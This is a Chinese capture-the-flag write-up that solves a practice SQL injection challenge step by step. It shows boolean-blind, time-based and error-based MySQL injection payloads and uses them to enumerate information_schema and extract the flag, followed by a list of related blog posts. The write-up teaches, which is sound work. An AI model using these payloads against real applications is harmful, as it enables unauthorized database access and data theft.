简单的SQL注入之3
Topic Link
http://ctf5.shiyanbar.com/web/index_3.php

1)测试正确值submit:1

测试目标和对象要明确:
2)单引号测试(判断存在字符型注入&&数据库是MySQL)

3)进一步测试 (and测试)
1' and 1=1# 显示正常

1' and 1=2# 显示不正常

判断存在注入漏洞
/*************** 一般性测试思路 ***************/
4)测试联合注入
# order by 判断列数n
1' order by 1# 正常页面

1' order by 2# 非正常页面
判断出列数为1,测试回显位

测试结果并没有回显位,联合注入查询失败
5)测试时间盲注
# 判断 if 关键字没有被过滤
1' and if(1,1,0)# 页面回显正常

1' and if(0,1,0)# 页面回显不正常

# 常见时间函数sleep() 、benchmark()被过滤
1' and if(1,sleep(5),0)#

1' and if(1,benchmark(100000000000,md5('admin')),0)#

# 测试时间盲注查询失败
6)测试布尔盲注
测试发现length()、ascii()、substr()、database()等关键函数没有被过滤,判断存在布尔盲注
测试工具:神器 Burpsuite
爆破数据库长度为4
1' and length(database())=n# n in(1,2,3,4,5,6,7,8,9.........)


@ 爆破数据库名
1' and ascii(substr(database(),m,1))=n#

第一位:w

第二位:e

第三位:b

第四位:1

爆破结果:web1
@ 爆表
爆破表的个数为2
1' and (select count(table_name) from information_schema.tables where table_schema=database())=n#


爆表
第一个表的字段长度为4
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=n#

第二个表的字段长度为5
1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=n#

第一个表的字段值为flag
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),m,1))=n#
第1位:f

第2位:l

第3位:a

第4位:g

爆字段
flag(表)
字段个数:2
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=n#


第一个字段长度:4
第二个字段长度:2
1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1))=n#



第一个字段值为:flag
1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),m,1))=n#
第1位:f

第2位:l

第3位:a

第4位:g

第二个字段值:id
1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1),m,1))=n#

第1位:i

第2位:d

爆破字段flag的值
行数:1
1' and (select count(*) from web1.flag)=n#

数据长度:26
1' and length((select flag from flag))=n#


flag:flag{Y0u_@r3_50_dAmn_900d}
1' and ascii(substr((select flag from flag),m,1)) =n#

7)基于报错的盲注
测试发现常见报错函数被过滤(查询失效)
1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#

1' updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

至此,已完成所有的任务,如有疑问欢迎大家随时交流 (*^_^*)
简单的SQL注入之3的更多相关文章
- 实验吧_简单的sql注入_1、2、3
简单的sql注入1 看着这个简单的界面,一时间没有特别好的思路,先输入一个1',发生了报错 初步猜测这是一个字符型的注入,他将我们输入的语句直接当成sql语句执行了,按题目的意思后面肯定过滤了很多注入 ...
- 【实验吧】CTF_Web_简单的SQL注入之3
实验吧第二题 who are you? 很有意思,过两天好好分析写一下.简单的SQL注入之3也很有意思,适合做手工练习,详细分析见下. http://ctf5.shiyanbar.com/web/in ...
- 【实验吧】CTF_Web_简单的SQL注入之1
题目链接:http://ctf5.shiyanbar.com/423/web/ 简单的SQL注入之1,比2,3都简单一些.利用2 的查询语句也可以实现:1'/**/union/**/select/** ...
- 简单的SQL注入学习
引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt ...
- 实验吧之【简单的sql注入 1、2、3】
实验吧的三道sql注入(感觉实验吧大部分web都是注入) 简单的SQL注入 地址:http://ctf5.shiyanbar.com/423/web/ 这道题也是sql注入,输入1,页面显示正常,输出 ...
- 实验吧简单的SQL注入1,简单的SQL注入
接上面一篇博客. 实验吧简单的sql注入1 题目连接 http://ctf5.shiyanbar.com/423/web/ 同样,直接输入 1加个但引号,结果下面有返回错误, ...
- 实验吧简单的sql注入3
今天早上起来发现有人评论说我没更新实验吧sql注入3,主要是因为前段时间都去做bugku去了 但是重做这道题发现以前的姿势不行了,exp()报错不再溢出,现在不能用这个姿势,所以这里重新整理了一遍思路 ...
- union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单
这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...
- 一道简单的SQL注入题
这是我真正意义上来说做的第一道SQL题目,感觉从这个题目里还是能学到好多东西的,这里记录一下这个题目的writeup和在其中学到的东西 link:https://www.ichunqiu.com/ba ...
- [初学Python]编写一个最简单判断SQL注入的检测工具
0x01 背景 15年那会,几乎可以说是渗透最火的一年,各种教程各种文章,本人也是有幸在那几年学到了一些皮毛,中间因学业问题将其荒废至今.当初最早学的便是,and 1=1 和 and 1=2 这最简单 ...
随机推荐
- [Tips]vim设置
临时设置 在vim中输入 :set nu! 若显示行号时,它的功能时取消行号:若不显示行号时,它的功能是显示行号. 固定设置 在~/.vimrc中进行设置. 添加注释: 双引号是注释 ” this i ...
- leetcode-只出现一次的数字合并两个有序数组
题目:合并两个有序数组 给定两个有序整数数组 nums1 和 nums2,将 nums2 合并到 nums1 中,使得 num1 成为一个有序数组. 说明: 初始化 nums1 和 nums2 的元素 ...
- LeetCode 80 Remove Duplicates from Sorted Array II [Array/auto] <c++>
LeetCode 80 Remove Duplicates from Sorted Array II [Array/auto] <c++> 给出排序好的一维数组,如果一个元素重复出现的次数 ...
- Golang websocket推送
Golang websocket推送 在工作用主要使用的是Java,也做过IM(后端用的netty websocket).最近想通过Golang重写下,于是通过websocket撸了一个聊天室. 项目 ...
- 实验五:任意输入10个int类型数据,排序输出,并找出素数
源代码: package 数组;import java.util.*;public class vvv { public static void main(String[] args) { Scann ...
- Ajax实现带进度条的文件上传
Ajax实现带进度条的文件上传 文件上传页面运行效果 上传文件并显示进度条运行效果 代码如下; DiskFileItemFactory factory = new DiskFileItemFactor ...
- 算法与数据结构(八) AOV网的关键路径(Swift版)
上篇博客我们介绍了AOV网的拓扑序列,请参考<数据结构(七) AOV网的拓扑排序(Swift面向对象版)>.拓扑序列中包括项目的每个结点,沿着拓扑序列将项目进行下去是肯定可以将项目完成的, ...
- 【javascript】函数中的this的四种绑定形式 — 大家准备好瓜子,我要讲故事啦~~
javascript中的this和函数息息相关,所以今天,我就给大家详细地讲述一番:javascript函数中的this 一谈到this,很多让人晕晕乎乎的抽象概念就跑出来了,这里我就只说最 ...
- 使用Java 线程池的利弊及JDK自带六种创建线程池的方法
1. 为什么使用线程池 诸如 Web 服务器.数据库服务器.文件服务器或邮件服务器之类的许多服务器应用程序都面向处理来自某些远程来源的大量短小的任务.请求以某种方式到达服务器,这种方式可能是通过网络协 ...
- 音视频编解码技术(二):AAC 音频编码技术
一.AAC编码概述 AAC是高级音频编码(Advanced Audio Coding)的缩写,出现于1997年,最初是基于MPEG-2的音频编码技术,目的是取代MP3格式.2000年,MPEG-4标准 ...